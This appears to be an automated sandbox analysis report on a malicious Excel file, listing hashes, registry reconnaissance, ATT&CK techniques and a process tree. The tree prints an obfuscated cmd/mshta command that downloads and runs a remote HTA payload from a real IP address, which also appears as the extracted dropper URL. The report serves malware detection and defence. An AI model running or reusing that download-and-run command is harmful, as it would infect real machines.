4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03

Analysis

max time kernel
133s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20/11/2024, 14:15

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General

Target

4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03.xls
Size

62KB
MD5

01a1974343a2c9a2ef881199844f0aa1
SHA1

eb2d80f4d9f48d91483010f2ea166358600f1578
SHA256

4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03
SHA512

2e146dc12ac0683662059474f5b6a461ce8ebca1bdf444cd8373f5d73d970fa9c2fd9283cf5c50879fce5727c8f62371df2af472e9def648088e526851f10e2b
SSDEEP

1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1340	3232	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	4500	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3232	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE
3232	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 1340	3232	EXCEL.EXE	86
PID 3232 wrote to memory of 1340	3232	EXCEL.EXE	86
PID 1340 wrote to memory of 4500	1340	cmd.exe	88
PID 1340 wrote to memory of 4500	1340	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4db794a721dd54a9fa47ab0bff20d7cb444a27e0fdfdc993b39025a502391d03.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3232-0-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-1-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

Filesize
4KB

Download
memory/3232-3-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-2-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-8-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-7-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-9-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-6-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-10-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

Filesize
64KB

Download
memory/3232-5-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-4-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp

Filesize
64KB

Download
memory/3232-11-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-12-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-15-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-16-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-17-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-14-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-13-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp

Filesize
64KB

Download
memory/3232-28-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download
memory/3232-29-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp

Filesize
4KB

Download
memory/3232-30-0x00007FF81C330000-0x00007FF81C525000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads